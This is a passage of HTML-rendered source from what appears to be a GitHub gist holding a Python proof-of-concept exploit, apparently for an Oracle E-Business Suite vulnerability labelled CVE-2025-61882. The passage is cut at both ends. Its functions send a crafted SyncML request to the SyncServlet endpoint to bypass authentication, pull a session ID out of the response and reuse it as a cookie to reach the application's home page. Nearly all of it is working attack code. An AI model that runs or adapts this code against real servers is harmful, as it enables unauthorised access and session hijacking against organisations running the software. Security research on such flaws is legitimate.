class=pl-k>def</span> <span class=pl-en>auth_bypass</span>(<span class=pl-s1>url</span>, <span class=pl-s1>username</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L57\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;57\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC57\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L58\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;58\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC58\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>headers</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L59\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;59\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC59\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s>&amp;#39;User-Agent&amp;#39;</span>: <span class=pl-c1>HEADERS</span>[<span class=pl-s>&amp;#39;User-Agent&amp;#39;</span>],</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L60\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;60\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC60\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s>&amp;#39;Content-Type&amp;#39;</span>: <span class=pl-s>&amp;#39;application/vnd.syncml+xml&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L61\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;61\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC61\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        }</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L62\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;62\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC62\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>payload</span> <span class=pl-c1>=</span> <span class=pl-v>Base64</span>.<span class=pl-c1>b64encode</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>username</span><span class=pl-kos>}</span></span>:Qwerty123!&amp;quot;</span>.<span class=pl-c1>encode</span>()).<span class=pl-c1>decode</span>()</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L63\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;63\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC63\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>data</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;#39;&amp;#39;&amp;#39;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L64\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;64\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC64\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;SyncML&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L65\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;65\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC65\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;SyncHdr&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L66\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;66\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC66\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;VerDTD&amp;gt;1.1&amp;lt;/VerDTD&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L67\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;67\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC67\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;VerProto&amp;gt;SyncML/1.1&amp;lt;/VerProto&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L68\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;68\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC68\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;SessionID&amp;gt; 1&amp;lt;/SessionID&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L69\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;69\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC69\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;MsgID&amp;gt;1&amp;lt;/MsgID&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L70\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;70\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC70\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L71\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;71\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC71\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Target&amp;gt;&amp;lt;LocURI&amp;gt;http://localhost&amp;lt;/LocURI&amp;gt;&amp;lt;/Target&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L72\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;72\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC72\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Source&amp;gt;&amp;lt;LocURI&amp;gt;device-123&amp;lt;/LocURI&amp;gt;&amp;lt;/Source&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L73\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;73\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC73\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L74\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;74\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC74\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Cred&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L75\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;75\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC75\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;Meta&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L76\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;76\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC76\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>        &amp;lt;Format&amp;gt;b64&amp;lt;/Format&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L77\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;77\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC77\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>        &amp;lt;Type&amp;gt;syncml:auth-basic&amp;lt;/Type&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L78\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;78\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC78\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;/Meta&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L79\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;79\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC79\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;Data&amp;gt;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>payload</span><span class=pl-kos>}</span></span>&amp;lt;/Data&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L80\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;80\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC80\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;/Cred&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L81\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;81\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC81\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;/SyncHdr&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L82\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;82\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC82\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L83\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;83\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC83\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;SyncBody&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L84\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;84\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC84\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Alert&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L85\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;85\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC85\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;CmdID&amp;gt;1&amp;lt;/CmdID&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L86\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;86\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC86\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;Data&amp;gt;200&amp;lt;/Data&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L87\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;87\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC87\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;/Alert&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L88\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;88\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC88\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Final/&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L89\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;89\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC89\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;/SyncBody&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L90\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;90\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC90\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;/SyncML&amp;gt;&amp;#39;&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L91\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;91\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC91\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L92\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;92\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC92\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/SyncServlet&amp;quot;</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-s1>headers</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>data</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L93\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;93\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC93\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>xml_content</span> <span class=pl-c1>=</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L94\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;94\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC94\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L95\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;95\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC95\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L96\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;96\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC96\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>root</span> <span class=pl-c1>=</span> <span class=pl-c1>ET</span>.<span class=pl-c1>fromstring</span>(<span class=pl-s1>xml_content</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L97\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;97\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC97\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>resp_uri</span> <span class=pl-c1>=</span> <span class=pl-s1>root</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;quot;.//RespURI&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L98\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;98\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC98\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L99\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;99\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC99\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s1>resp_uri</span> <span class=pl-c1><span class=pl-c1>is</span> <span class=pl-c1>not</span></span> <span class=pl-c1>None</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L100\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;100\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC100\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>raw_value</span> <span class=pl-c1>=</span> <span class=pl-s1>resp_uri</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L101\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;101\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC101\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>decoded_value</span> <span class=pl-c1>=</span> <span class=pl-en>unquote</span>(<span class=pl-s1>raw_value</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L102\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;102\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC102\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>parsed_url</span> <span class=pl-c1>=</span> <span class=pl-s1>urlparse</span>.<span class=pl-c1>urlparse</span>(<span class=pl-s1>decoded_value</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L103\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;103\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC103\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>query_params</span> <span class=pl-c1>=</span> <span class=pl-en>parse_qs</span>(<span class=pl-s1>parsed_url</span>.<span class=pl-c1>query</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L104\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;104\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC104\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>sid_value</span> <span class=pl-c1>=</span> <span class=pl-s1>query_params</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;sid&amp;#39;</span>, [<span class=pl-c1>None</span>])[<span class=pl-c1>0</span>]</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L105\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;105\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC105\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>return</span> <span class=pl-s1>sid_value</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L106\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;106\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC106\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L107\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;107\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC107\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] RespURI tag not found&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L108\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;108\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC108\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L109\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;109\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC109\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>except</span> <span class=pl-c1>ET</span>.<span class=pl-c1>ParseError</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L110\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;110\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC110\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[-] XML Parsing Error: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L111\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;111\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC111\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L112\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;112\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC112\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L113\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;113\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC113\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-s1>requests</span>.<span class=pl-c1>RequestException</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L114\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;114\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC114\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Something went wrong during auth bypass. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L115\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;115\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC115\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L116\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;116\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC116\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L117\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;117\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC117\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>get_cookies</span>(<span class=pl-s1>url</span>, <span class=pl-s1>sid</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L118\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;118\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC118\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L119\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;119\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC119\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>cookies</span> <span class=pl-c1>=</span> {<span class=pl-s>&amp;quot;EBSDB&amp;quot;</span>: <span class=pl-s1>sid</span>}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L120\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;120\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC120\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>get</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/OA.jsp?OAFunc=OANEWHOMEPAGE&amp;quot;</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-s1>cookies</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L121\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;121\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC121\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span 